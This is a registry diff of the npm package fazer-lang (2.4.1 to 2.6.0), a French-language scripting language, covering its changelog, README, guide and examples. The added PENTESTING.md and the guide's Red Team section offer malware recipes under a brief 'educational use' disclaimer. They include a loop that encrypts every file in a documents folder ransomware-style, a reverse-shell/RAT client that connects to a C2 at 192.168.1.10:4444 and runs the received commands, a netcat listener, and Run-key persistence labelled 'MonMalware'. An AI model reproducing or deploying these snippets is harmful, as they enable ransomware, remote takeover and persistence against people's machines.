fazer-lang 2.4.1 → 2.6.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +27 -0
- package/LICENSE +1 -1
- package/README.md +63 -63
- package/docs/GUIDE.md +249 -0
- package/docs/PENTESTING.md +74 -0
- package/docs/README.md +29 -26
- package/docs/examples.md +60 -60
- package/docs/getting-started.md +153 -153
- package/docs/stdlib.md +111 -111
- package/docs/syntax.md +86 -86
- package/fazer.js +618 -5
- package/index.d.ts +29 -0
- package/package.json +55 -48
- package/tools/announce.fz +48 -48
- package/tools/announce_embed.json +38 -0
- package/tools/builder.js +208 -208
- package/tools/send_full_embed.fz +35 -0
package/CHANGELOG.md
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
# Changelog
|
|
2
|
+
|
|
3
|
+
All notable changes to this project will be documented in this file.
|
|
4
|
+
|
|
5
|
+
## [2.6.0] - 2026-01-22
|
|
6
|
+
|
|
7
|
+
### Added
|
|
8
|
+
- **Native EXE Compilation**: Use `fazer build script.fz` to create standalone Windows executables.
|
|
9
|
+
- **Icon Support**: Add custom `.ico` files to your GUI applications via `window(..., "icon.ico")`.
|
|
10
|
+
- **TypeScript Support**: Added `index.d.ts` for type definitions.
|
|
11
|
+
- **Enhanced Stdlib**: Improvements to `exec` (better error handling) and `netsh` interaction support.
|
|
12
|
+
- **Security**: Added more robust error handling for system commands requiring administrative privileges.
|
|
13
|
+
|
|
14
|
+
### Fixed
|
|
15
|
+
- Fixed issues with `netsh` command execution in certain environments.
|
|
16
|
+
- Improved error messages for "immutable variable" violations in `catch` blocks.
|
|
17
|
+
- Stability improvements in the interpreter loop.
|
|
18
|
+
|
|
19
|
+
## [2.5.0] - 2025-12-15
|
|
20
|
+
|
|
21
|
+
### Added
|
|
22
|
+
- Initial support for Discord integration.
|
|
23
|
+
- `notify` module for system notifications.
|
|
24
|
+
- `clipboard` module.
|
|
25
|
+
|
|
26
|
+
### Changed
|
|
27
|
+
- Refactored `http_server` for better performance.
|
package/LICENSE
CHANGED
package/README.md
CHANGED
|
@@ -1,63 +1,63 @@
|
|
|
1
|
-
# Fazer
|
|
2
|
-
|
|
3
|
-
**Fazer** — Le langage de script nouvelle génération par **L'EMPRISE**.
|
|
4
|
-
|
|
5
|
-
Conçu pour l'automatisation, la sécurité et le traitement de données, Fazer combine une syntaxe concise avec une bibliothèque standard "batteries included".
|
|
6
|
-
|
|
7
|
-
## Installation
|
|
8
|
-
|
|
9
|
-
Installez Fazer globalement via npm :
|
|
10
|
-
|
|
11
|
-
```bash
|
|
12
|
-
npm install -g fazer-lang
|
|
13
|
-
```
|
|
14
|
-
|
|
15
|
-
## Utilisation Rapide
|
|
16
|
-
|
|
17
|
-
Lancer le REPL (mode interactif) :
|
|
18
|
-
```bash
|
|
19
|
-
fazer
|
|
20
|
-
```
|
|
21
|
-
|
|
22
|
-
Exécuter un script :
|
|
23
|
-
```bash
|
|
24
|
-
fazer mon_script.fz
|
|
25
|
-
```
|
|
26
|
-
|
|
27
|
-
## Création d'Exécutable (.exe)
|
|
28
|
-
|
|
29
|
-
Transformez vos scripts Fazer en applications Windows portables et natives :
|
|
30
|
-
|
|
31
|
-
1. (Optionnel) Placez une icône `app.ico` dans le dossier.
|
|
32
|
-
2. Lancez la commande de build :
|
|
33
|
-
```bash
|
|
34
|
-
fazer build mon_script.fz
|
|
35
|
-
```
|
|
36
|
-
3. Récupérez votre application dans `dist/mon_script/mon_script.exe`.
|
|
37
|
-
|
|
38
|
-
Le dossier généré est **portable** : zippez-le et envoyez-le à n'importe qui, aucune installation n'est requise !
|
|
39
|
-
|
|
40
|
-
## Documentation
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
* [
|
|
46
|
-
* [
|
|
47
|
-
* [
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
* **
|
|
53
|
-
* **
|
|
54
|
-
* **
|
|
55
|
-
* **
|
|
56
|
-
* **
|
|
57
|
-
* **
|
|
58
|
-
* **
|
|
59
|
-
|
|
60
|
-
## Copyright
|
|
61
|
-
|
|
62
|
-
© 2026 **L'EMPRISE**. Tous droits réservés.
|
|
63
|
-
Distribué sous licence MIT.
|
|
1
|
+
# Fazer
|
|
2
|
+
|
|
3
|
+
**Fazer** — Le langage de script nouvelle génération par **L'EMPRISE**.
|
|
4
|
+
|
|
5
|
+
Conçu pour l'automatisation, la sécurité et le traitement de données, Fazer combine une syntaxe concise avec une bibliothèque standard "batteries included".
|
|
6
|
+
|
|
7
|
+
## Installation
|
|
8
|
+
|
|
9
|
+
Installez Fazer globalement via npm :
|
|
10
|
+
|
|
11
|
+
```bash
|
|
12
|
+
npm install -g fazer-lang
|
|
13
|
+
```
|
|
14
|
+
|
|
15
|
+
## Utilisation Rapide
|
|
16
|
+
|
|
17
|
+
Lancer le REPL (mode interactif) :
|
|
18
|
+
```bash
|
|
19
|
+
fazer
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
Exécuter un script :
|
|
23
|
+
```bash
|
|
24
|
+
fazer mon_script.fz
|
|
25
|
+
```
|
|
26
|
+
|
|
27
|
+
## Création d'Exécutable (.exe)
|
|
28
|
+
|
|
29
|
+
Transformez vos scripts Fazer en applications Windows portables et natives :
|
|
30
|
+
|
|
31
|
+
1. (Optionnel) Placez une icône `app.ico` dans le dossier.
|
|
32
|
+
2. Lancez la commande de build :
|
|
33
|
+
```bash
|
|
34
|
+
fazer build mon_script.fz
|
|
35
|
+
```
|
|
36
|
+
3. Récupérez votre application dans `dist/mon_script/mon_script.exe`.
|
|
37
|
+
|
|
38
|
+
Le dossier généré est **portable** : zippez-le et envoyez-le à n'importe qui, aucune installation n'est requise !
|
|
39
|
+
|
|
40
|
+
## Documentation
|
|
41
|
+
|
|
42
|
+
🎓 **[NOUVEAU : Le Guide Ultime (A-Z)](https://github.com/viced-1920/fazer-lang/blob/main/docs/GUIDE.md)** - Commencez ici ! C'est la ressource la plus complète pour apprendre Fazer.
|
|
43
|
+
|
|
44
|
+
Documentation détaillée par section :
|
|
45
|
+
* [Guide de Démarrage](https://github.com/viced-1920/fazer-lang/blob/main/docs/getting-started.md)
|
|
46
|
+
* [Syntaxe du Langage](https://github.com/viced-1920/fazer-lang/blob/main/docs/syntax.md)
|
|
47
|
+
* [Bibliothèque Standard (Stdlib)](https://github.com/viced-1920/fazer-lang/blob/main/docs/stdlib.md)
|
|
48
|
+
* [Exemples](https://github.com/viced-1920/fazer-lang/blob/main/docs/examples.md)
|
|
49
|
+
|
|
50
|
+
## Fonctionnalités Clés
|
|
51
|
+
|
|
52
|
+
* **GUI Native** : Créez de vraies applications Windows (WinForms) avec widgets natifs.
|
|
53
|
+
* **Red Team Ready** : Module de sécurité offensive natif (Crypto, Registre, Reverse Shell, Scan).
|
|
54
|
+
* **Pipe Operator (`->>`)** : Enchaînez les opérations proprement.
|
|
55
|
+
* **Pattern Matching (`case`)** : Contrôle de flux expressif.
|
|
56
|
+
* **Portable** : Compilation en `.exe` natif avec support d'icônes.
|
|
57
|
+
* **Réseau & Web** : Client HTTP `fetch`, serveur web `server`, et module `discord`.
|
|
58
|
+
* **Système** : Manipulation fichiers, processus et presse-papier.
|
|
59
|
+
|
|
60
|
+
## Copyright
|
|
61
|
+
|
|
62
|
+
© 2026 **L'EMPRISE**. Tous droits réservés.
|
|
63
|
+
Distribué sous licence MIT.
|
package/docs/GUIDE.md
ADDED
|
@@ -0,0 +1,249 @@
|
|
|
1
|
+
# Le Guide Ultime de Fazer (A-Z) - Édition 2.5
|
|
2
|
+
|
|
3
|
+
Bienvenue dans l'univers de **Fazer**. Ce guide a été conçu pour vous accompagner de vos premières lignes de code jusqu'à la maîtrise des fonctionnalités les plus avancées (Pentest, GUI, Réseau).
|
|
4
|
+
|
|
5
|
+
Que vous soyez un débutant complet ou un développeur expérimenté, ce manuel est votre référence.
|
|
6
|
+
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
## 📚 Table des Matières
|
|
10
|
+
|
|
11
|
+
1. [Module 1 : Premiers Pas & Installation](#module-1--premiers-pas--installation)
|
|
12
|
+
2. [Module 2 : Les Bases du Langage](#module-2--les-bases-du-langage)
|
|
13
|
+
3. [Module 3 : Contrôle du Flux (Logique)](#module-3--contrôle-du-flux-logique)
|
|
14
|
+
4. [Module 4 : Fonctions & Organisation](#module-4--fonctions--organisation)
|
|
15
|
+
5. [Module 5 : Manipulation de Fichiers & Système](#module-5--manipulation-de-fichiers--système)
|
|
16
|
+
6. [Module 6 : Interfaces Graphiques (GUI)](#module-6--interfaces-graphiques-gui)
|
|
17
|
+
7. [Module 7 : Réseau & Web](#module-7--réseau--web)
|
|
18
|
+
8. [Module 8 : Cybersécurité & Red Team](#module-8--cybersécurité--red-team)
|
|
19
|
+
9. [Annexe : Compiler en .EXE](#annexe--compiler-en-exe)
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
## Module 1 : Premiers Pas & Installation
|
|
24
|
+
|
|
25
|
+
### C'est quoi Fazer ?
|
|
26
|
+
Fazer est un langage de programmation moderne, simple et puissant. Il est "batteries included", ce qui signifie qu'il contient déjà tout ce qu'il faut pour créer des applications graphiques, des outils réseaux, ou des scripts d'automatisation sans rien installer d'autre.
|
|
27
|
+
|
|
28
|
+
### Installation
|
|
29
|
+
1. **Téléchargez** le dossier `fazer-lang`.
|
|
30
|
+
2. **Exécutez** le script `install_system.ps1` (double-clic).
|
|
31
|
+
3. C'est tout ! Ouvrez un terminal et tapez `fazer` pour vérifier.
|
|
32
|
+
|
|
33
|
+
### Votre Premier Script ("Hello World")
|
|
34
|
+
Créez un fichier nommé `hello.fz` :
|
|
35
|
+
|
|
36
|
+
```fazer
|
|
37
|
+
print("Bienvenue sur Fazer !")
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
Lancez-le :
|
|
41
|
+
```bash
|
|
42
|
+
fazer hello.fz
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
---
|
|
46
|
+
|
|
47
|
+
## Module 2 : Les Bases du Langage
|
|
48
|
+
|
|
49
|
+
### Variables
|
|
50
|
+
En Fazer, on utilise `:=` pour créer une variable.
|
|
51
|
+
* Par défaut, une variable ne peut pas changer (elle est **constante**).
|
|
52
|
+
* Si vous voulez la modifier, utilisez le mot-clé `mut`.
|
|
53
|
+
|
|
54
|
+
```fazer
|
|
55
|
+
# Constante (ne bougera pas)
|
|
56
|
+
nom := "Fazer"
|
|
57
|
+
|
|
58
|
+
# Variable (peut changer)
|
|
59
|
+
mut score := 0
|
|
60
|
+
score := score + 10
|
|
61
|
+
print(score) # Affiche 10
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
### Types de Données
|
|
65
|
+
Fazer gère les types automatiquement :
|
|
66
|
+
* `"Texte"` (String)
|
|
67
|
+
* `42` ou `3.14` (Number)
|
|
68
|
+
* `true` / `false` (Boolean)
|
|
69
|
+
* `[1, 2, 3]` (List / Tableau)
|
|
70
|
+
* `{ "nom": "Jean", "age": 20 }` (Map / Objet)
|
|
71
|
+
|
|
72
|
+
### L'Opérateur Pipe (`->>`)
|
|
73
|
+
C'est la signature de Fazer. Il permet de passer une valeur à la fonction suivante, comme un tuyau.
|
|
74
|
+
|
|
75
|
+
```fazer
|
|
76
|
+
# Méthode classique
|
|
77
|
+
print(str_upper("bonjour"))
|
|
78
|
+
|
|
79
|
+
# Méthode Fazer (Pipe)
|
|
80
|
+
"bonjour" ->> str_upper ->> print
|
|
81
|
+
```
|
|
82
|
+
*Lecture : Prends "bonjour", mets-le en majuscules, puis affiche-le.*
|
|
83
|
+
|
|
84
|
+
---
|
|
85
|
+
|
|
86
|
+
## Module 3 : Contrôle du Flux (Logique)
|
|
87
|
+
|
|
88
|
+
### Les Conditions (`if`)
|
|
89
|
+
Fazer utilise des flèches `->` pour délimiter les blocs de code, et `end` pour finir.
|
|
90
|
+
|
|
91
|
+
```fazer
|
|
92
|
+
age := 18
|
|
93
|
+
|
|
94
|
+
if age >= 18 ->
|
|
95
|
+
print("Majeur")
|
|
96
|
+
end
|
|
97
|
+
else ->
|
|
98
|
+
print("Mineur")
|
|
99
|
+
end
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
### Les Boucles (`while`)
|
|
103
|
+
Pour répéter une action tant qu'une condition est vraie.
|
|
104
|
+
|
|
105
|
+
```fazer
|
|
106
|
+
mut i := 0
|
|
107
|
+
|
|
108
|
+
while i < 5 ->
|
|
109
|
+
print("Compteur : " + i)
|
|
110
|
+
i := i + 1
|
|
111
|
+
end
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
---
|
|
115
|
+
|
|
116
|
+
## Module 4 : Fonctions & Organisation
|
|
117
|
+
|
|
118
|
+
### Créer une Fonction
|
|
119
|
+
Une fonction est un bloc de code réutilisable.
|
|
120
|
+
|
|
121
|
+
```fazer
|
|
122
|
+
fn dire_bonjour(nom) ->
|
|
123
|
+
msg := "Salut " + nom + " !"
|
|
124
|
+
return msg
|
|
125
|
+
end
|
|
126
|
+
|
|
127
|
+
res := dire_bonjour("Alice")
|
|
128
|
+
print(res)
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
### Fonctions Anonymes (Lambdas)
|
|
132
|
+
Très utiles pour les événements (GUI, Serveurs).
|
|
133
|
+
|
|
134
|
+
```fazer
|
|
135
|
+
ma_fonction := fn(x) -> x * 2 end
|
|
136
|
+
print(ma_fonction(10)) # 20
|
|
137
|
+
```
|
|
138
|
+
|
|
139
|
+
---
|
|
140
|
+
|
|
141
|
+
## Module 5 : Manipulation de Fichiers & Système
|
|
142
|
+
|
|
143
|
+
Fazer brille pour l'automatisation système.
|
|
144
|
+
|
|
145
|
+
### Lire et Écrire
|
|
146
|
+
```fazer
|
|
147
|
+
# Écrire
|
|
148
|
+
fs_write("test.txt", "Contenu du fichier")
|
|
149
|
+
|
|
150
|
+
# Lire
|
|
151
|
+
contenu := fs_read("test.txt")
|
|
152
|
+
print(contenu)
|
|
153
|
+
|
|
154
|
+
# Vérifier existence
|
|
155
|
+
if fs_exists("test.txt") -> print("Fichier trouvé !") end
|
|
156
|
+
```
|
|
157
|
+
|
|
158
|
+
### Parcourir des Dossiers (Nouveau 2.5)
|
|
159
|
+
```fazer
|
|
160
|
+
fichiers := walk_dir(".") # Liste récursivement tout le dossier actuel
|
|
161
|
+
print("Fichiers trouvés : " + fichiers.length)
|
|
162
|
+
```
|
|
163
|
+
|
|
164
|
+
### Exécuter des Commandes Système
|
|
165
|
+
```fazer
|
|
166
|
+
# Lance une commande et récupère la sortie
|
|
167
|
+
ip := exec("ipconfig")
|
|
168
|
+
print(ip)
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
---
|
|
172
|
+
|
|
173
|
+
## Module 6 : Interfaces Graphiques (GUI)
|
|
174
|
+
|
|
175
|
+
Créez des fenêtres Windows natives en quelques lignes.
|
|
176
|
+
|
|
177
|
+
```fazer
|
|
178
|
+
config := {
|
|
179
|
+
title: "Ma App Fazer",
|
|
180
|
+
w: 400, h: 300,
|
|
181
|
+
icon: "app.ico" # Support des icônes !
|
|
182
|
+
}
|
|
183
|
+
|
|
184
|
+
# Définition des widgets
|
|
185
|
+
widgets := [
|
|
186
|
+
{ id: "lbl", type: "label", text: "Bienvenue !", x: 10, y: 10, w: 200, h: 30 },
|
|
187
|
+
{ id: "btn", type: "button", text: "Cliquez-moi", x: 10, y: 50, w: 120, h: 40 }
|
|
188
|
+
]
|
|
189
|
+
|
|
190
|
+
# Gestionnaire d'événements
|
|
191
|
+
fn handler(id, event, data) ->
|
|
192
|
+
if id == "btn" ->
|
|
193
|
+
notify("Succès", "Vous avez cliqué !")
|
|
194
|
+
end
|
|
195
|
+
end
|
|
196
|
+
|
|
197
|
+
# Lancer la fenêtre
|
|
198
|
+
window(config, widgets, handler)
|
|
199
|
+
```
|
|
200
|
+
|
|
201
|
+
---
|
|
202
|
+
|
|
203
|
+
## Module 7 : Réseau & Web
|
|
204
|
+
|
|
205
|
+
### Serveur Web Express
|
|
206
|
+
Créez un serveur HTTP en une ligne.
|
|
207
|
+
|
|
208
|
+
```fazer
|
|
209
|
+
fn mon_site(req) ->
|
|
210
|
+
return "<h1>Site propulsé par Fazer</h1>"
|
|
211
|
+
end
|
|
212
|
+
|
|
213
|
+
# Écoute sur le port 8080
|
|
214
|
+
http_server(8080, mon_site)
|
|
215
|
+
```
|
|
216
|
+
|
|
217
|
+
### Client HTTP
|
|
218
|
+
```fazer
|
|
219
|
+
page := fetch("https://google.com")
|
|
220
|
+
print(page.status)
|
|
221
|
+
```
|
|
222
|
+
|
|
223
|
+
---
|
|
224
|
+
|
|
225
|
+
## Module 8 : Cybersécurité & Red Team
|
|
226
|
+
|
|
227
|
+
**Nouveauté 2.5** : Fazer intègre des outils natifs pour le Pentest et la simulation d'attaques (autorisées).
|
|
228
|
+
|
|
229
|
+
> ⚠️ **AVERTISSEMENT** : Usage éducatif et autorisé uniquement.
|
|
230
|
+
|
|
231
|
+
### Fonctionnalités Clés
|
|
232
|
+
* **Chiffrement** : `encrypt_file("secret.txt", "clé")` (AES-256)
|
|
233
|
+
* **Registre Windows** : `registry_set`, `registry_get` (Persistance)
|
|
234
|
+
* **Reverse Shell** : `tcp_connect` (Client TCP brut)
|
|
235
|
+
* **Fond d'écran** : `set_wallpaper("hacked.jpg")`
|
|
236
|
+
|
|
237
|
+
*Pour un guide détaillé sur ces fonctions, consultez le fichier `PENTESTING.md`.*
|
|
238
|
+
|
|
239
|
+
---
|
|
240
|
+
|
|
241
|
+
## Annexe : Compiler en .EXE
|
|
242
|
+
|
|
243
|
+
Transformez n'importe quel script `.fz` en un exécutable Windows autonome `.exe` que vous pouvez partager.
|
|
244
|
+
|
|
245
|
+
```bash
|
|
246
|
+
fazer build mon_script.fz
|
|
247
|
+
```
|
|
248
|
+
|
|
249
|
+
L'exécutable sera généré dans le dossier `dist/`. Il contient tout le nécessaire pour fonctionner sans installer Fazer sur la machine cible.
|
|
@@ -0,0 +1,74 @@
|
|
|
1
|
+
# Guide de Développement Pentest & Red Team avec Fazer
|
|
2
|
+
|
|
3
|
+
> **AVERTISSEMENT** : Ce module est destiné à des fins éducatives et de test de sécurité autorisé uniquement. L'auteur décline toute responsabilité en cas d'utilisation malveillante.
|
|
4
|
+
|
|
5
|
+
Fazer intègre des fonctionnalités natives puissantes permettant de développer des outils de sécurité offensive (Red Team), de simulation de malware (Ransomware, RAT) et d'administration système avancée.
|
|
6
|
+
|
|
7
|
+
## 1. Simulation de Ransomware (Crypto)
|
|
8
|
+
|
|
9
|
+
Fazer utilise le chiffrement **AES-256-CBC** pour sécuriser les fichiers.
|
|
10
|
+
|
|
11
|
+
### API
|
|
12
|
+
* `encrypt_file(path, key)` : Chiffre un fichier. Génère un fichier `.enc` avec l'IV préfixé.
|
|
13
|
+
* `decrypt_file(path, key)` : Déchiffre un fichier `.enc`.
|
|
14
|
+
* `walk_dir(path)` : Liste récursivement tous les fichiers d'un dossier.
|
|
15
|
+
|
|
16
|
+
### Exemple
|
|
17
|
+
```fazer
|
|
18
|
+
key := "MA_CLE_SECURE_256_BITS"
|
|
19
|
+
files := walk_dir("C:\\Documents\\Confidentiel")
|
|
20
|
+
|
|
21
|
+
# Chiffrer tout
|
|
22
|
+
i := 0
|
|
23
|
+
while i < files.length ->
|
|
24
|
+
encrypt_file(files[i], key)
|
|
25
|
+
i := i + 1
|
|
26
|
+
end
|
|
27
|
+
```
|
|
28
|
+
|
|
29
|
+
## 2. Remote Access Trojan (RAT) / Reverse Shell
|
|
30
|
+
|
|
31
|
+
Vous pouvez créer des clients TCP capables de recevoir des commandes distantes et d'exécuter du code.
|
|
32
|
+
|
|
33
|
+
### API
|
|
34
|
+
* `tcp_connect(host, port, handler)` : Se connecte à un serveur C2 (Command & Control).
|
|
35
|
+
* `handler` : Une fonction qui reçoit les données brutes (commandes).
|
|
36
|
+
* Retourne un objet client avec `.send(data)` et `.close()`.
|
|
37
|
+
|
|
38
|
+
### Exemple (Client)
|
|
39
|
+
```fazer
|
|
40
|
+
fn on_data(cmd) ->
|
|
41
|
+
# Exécuter la commande reçue dans le shell système
|
|
42
|
+
result := exec(cmd)
|
|
43
|
+
return result
|
|
44
|
+
end
|
|
45
|
+
|
|
46
|
+
client := tcp_connect("192.168.1.10", 4444, on_data)
|
|
47
|
+
client.send("Bot connecté !\n")
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
Pour tester, lancez un listener Netcat sur votre machine attaquante : `nc -lvp 4444`.
|
|
51
|
+
|
|
52
|
+
## 3. Persistance et Registre (Windows)
|
|
53
|
+
|
|
54
|
+
Manipulez le registre Windows pour assurer la persistance de vos outils au démarrage.
|
|
55
|
+
|
|
56
|
+
### API
|
|
57
|
+
* `registry_get(key, name)` : Lit une valeur du registre.
|
|
58
|
+
* `registry_set(key, name, value)` : Écrit une valeur (String).
|
|
59
|
+
|
|
60
|
+
### Exemple (Run Key)
|
|
61
|
+
```fazer
|
|
62
|
+
key := "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
|
|
63
|
+
registry_set(key, "MonMalware", "C:\\Chemin\\vers\\app.exe")
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
## 4. Pranks & Divers
|
|
67
|
+
|
|
68
|
+
* `set_wallpaper(path)` : Change le fond d'écran (Windows uniquement).
|
|
69
|
+
* `screenshot(path)` : Prend une capture d'écran.
|
|
70
|
+
|
|
71
|
+
```fazer
|
|
72
|
+
set_wallpaper("C:\\hacked.jpg")
|
|
73
|
+
screenshot("capture.png")
|
|
74
|
+
```
|
package/docs/README.md
CHANGED
|
@@ -1,26 +1,29 @@
|
|
|
1
|
-
# Documentation Fazer
|
|
2
|
-
|
|
3
|
-
Bienvenue dans la documentation officielle du langage **Fazer**.
|
|
4
|
-
|
|
5
|
-
## Table des Matières
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
*
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
*
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
*
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
*
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
*
|
|
23
|
-
*
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
*
|
|
1
|
+
# Documentation Fazer
|
|
2
|
+
|
|
3
|
+
Bienvenue dans la documentation officielle du langage **Fazer**.
|
|
4
|
+
|
|
5
|
+
## Table des Matières
|
|
6
|
+
|
|
7
|
+
0. **[NOUVEAU : Le Guide Ultime (A-Z)](./GUIDE.md)**
|
|
8
|
+
* Le point de départ idéal pour tout apprendre d'un coup.
|
|
9
|
+
|
|
10
|
+
1. **[Guide de Démarrage](./getting-started.md)**
|
|
11
|
+
* Installation
|
|
12
|
+
* Votre premier script
|
|
13
|
+
* Mode interactif (REPL)
|
|
14
|
+
|
|
15
|
+
2. **[Syntaxe du Langage](./syntax.md)**
|
|
16
|
+
* Variables et Types
|
|
17
|
+
* Opérateur Pipe (`->>`)
|
|
18
|
+
* Contrôle de Flux (`case`)
|
|
19
|
+
* Fonctions
|
|
20
|
+
|
|
21
|
+
3. **[Bibliothèque Standard (Stdlib)](./stdlib.md)**
|
|
22
|
+
* E/S Console (`println`, `ask`...)
|
|
23
|
+
* Système de Fichiers (`readText`, `writeText`...)
|
|
24
|
+
* Chiffrement (`encText`, `sha256`...)
|
|
25
|
+
* Réseau & Web (`server`, `fetch`, `discord`...)
|
|
26
|
+
* Utilitaires (`json`, `exec`...)
|
|
27
|
+
|
|
28
|
+
4. **[Exemples](./examples.md)**
|
|
29
|
+
* Scripts complets pour apprendre par l'exemple.
|
package/docs/examples.md
CHANGED
|
@@ -1,60 +1,60 @@
|
|
|
1
|
-
# Exemples Fazer
|
|
2
|
-
|
|
3
|
-
## 1. Hello World
|
|
4
|
-
|
|
5
|
-
```fazer
|
|
6
|
-
"Hello World" ->> println
|
|
7
|
-
```
|
|
8
|
-
|
|
9
|
-
## 2. Demander le nom
|
|
10
|
-
|
|
11
|
-
```fazer
|
|
12
|
-
"Quel est votre nom ? " ->> ask ->> println
|
|
13
|
-
```
|
|
14
|
-
|
|
15
|
-
## 3. Chiffrement de Fichier (Logique simplifiée)
|
|
16
|
-
|
|
17
|
-
Ce script montre comment on pourrait structurer un outil de chiffrement.
|
|
18
|
-
|
|
19
|
-
```fazer
|
|
20
|
-
fn main () {
|
|
21
|
-
"1. Chiffrer" ->> println
|
|
22
|
-
"2. Déchiffrer" ->> println
|
|
23
|
-
"Choix : " ->> ask ->> case {
|
|
24
|
-
"1" : {
|
|
25
|
-
"Fichier à chiffrer : " ->> ask ->> enc_flow
|
|
26
|
-
}
|
|
27
|
-
"2" : {
|
|
28
|
-
"Fichier à déchiffrer : " ->> ask ->> dec_flow
|
|
29
|
-
}
|
|
30
|
-
_ : {
|
|
31
|
-
"Choix invalide" ->> println
|
|
32
|
-
}
|
|
33
|
-
}
|
|
34
|
-
}
|
|
35
|
-
|
|
36
|
-
fn enc_flow (path) {
|
|
37
|
-
path ->> exists ->> case {
|
|
38
|
-
true : {
|
|
39
|
-
"Mot de passe : " ->> ask ->> pass
|
|
40
|
-
path ->> readText ->> encText(pass) ->> saveText(path)
|
|
41
|
-
"Fichier chiffré !" ->> println
|
|
42
|
-
}
|
|
43
|
-
_ : { "Fichier introuvable" ->> println }
|
|
44
|
-
}
|
|
45
|
-
}
|
|
46
|
-
|
|
47
|
-
// Lancer le main
|
|
48
|
-
main()
|
|
49
|
-
```
|
|
50
|
-
|
|
51
|
-
## 4. Serveur Web Simple
|
|
52
|
-
|
|
53
|
-
```fazer
|
|
54
|
-
fn handle_request (req) {
|
|
55
|
-
"<h1>Bienvenue sur Fazer Web</h1>" // Retourne le HTML
|
|
56
|
-
}
|
|
57
|
-
|
|
58
|
-
"Démarrage du serveur sur 8080..." ->> println
|
|
59
|
-
8080 ->> server("handle_request")
|
|
60
|
-
```
|
|
1
|
+
# Exemples Fazer
|
|
2
|
+
|
|
3
|
+
## 1. Hello World
|
|
4
|
+
|
|
5
|
+
```fazer
|
|
6
|
+
"Hello World" ->> println
|
|
7
|
+
```
|
|
8
|
+
|
|
9
|
+
## 2. Demander le nom
|
|
10
|
+
|
|
11
|
+
```fazer
|
|
12
|
+
"Quel est votre nom ? " ->> ask ->> println
|
|
13
|
+
```
|
|
14
|
+
|
|
15
|
+
## 3. Chiffrement de Fichier (Logique simplifiée)
|
|
16
|
+
|
|
17
|
+
Ce script montre comment on pourrait structurer un outil de chiffrement.
|
|
18
|
+
|
|
19
|
+
```fazer
|
|
20
|
+
fn main () {
|
|
21
|
+
"1. Chiffrer" ->> println
|
|
22
|
+
"2. Déchiffrer" ->> println
|
|
23
|
+
"Choix : " ->> ask ->> case {
|
|
24
|
+
"1" : {
|
|
25
|
+
"Fichier à chiffrer : " ->> ask ->> enc_flow
|
|
26
|
+
}
|
|
27
|
+
"2" : {
|
|
28
|
+
"Fichier à déchiffrer : " ->> ask ->> dec_flow
|
|
29
|
+
}
|
|
30
|
+
_ : {
|
|
31
|
+
"Choix invalide" ->> println
|
|
32
|
+
}
|
|
33
|
+
}
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
fn enc_flow (path) {
|
|
37
|
+
path ->> exists ->> case {
|
|
38
|
+
true : {
|
|
39
|
+
"Mot de passe : " ->> ask ->> pass
|
|
40
|
+
path ->> readText ->> encText(pass) ->> saveText(path)
|
|
41
|
+
"Fichier chiffré !" ->> println
|
|
42
|
+
}
|
|
43
|
+
_ : { "Fichier introuvable" ->> println }
|
|
44
|
+
}
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
// Lancer le main
|
|
48
|
+
main()
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
## 4. Serveur Web Simple
|
|
52
|
+
|
|
53
|
+
```fazer
|
|
54
|
+
fn handle_request (req) {
|
|
55
|
+
"<h1>Bienvenue sur Fazer Web</h1>" // Retourne le HTML
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
"Démarrage du serveur sur 8080..." ->> println
|
|
59
|
+
8080 ->> server("handle_request")
|
|
60
|
+
```
|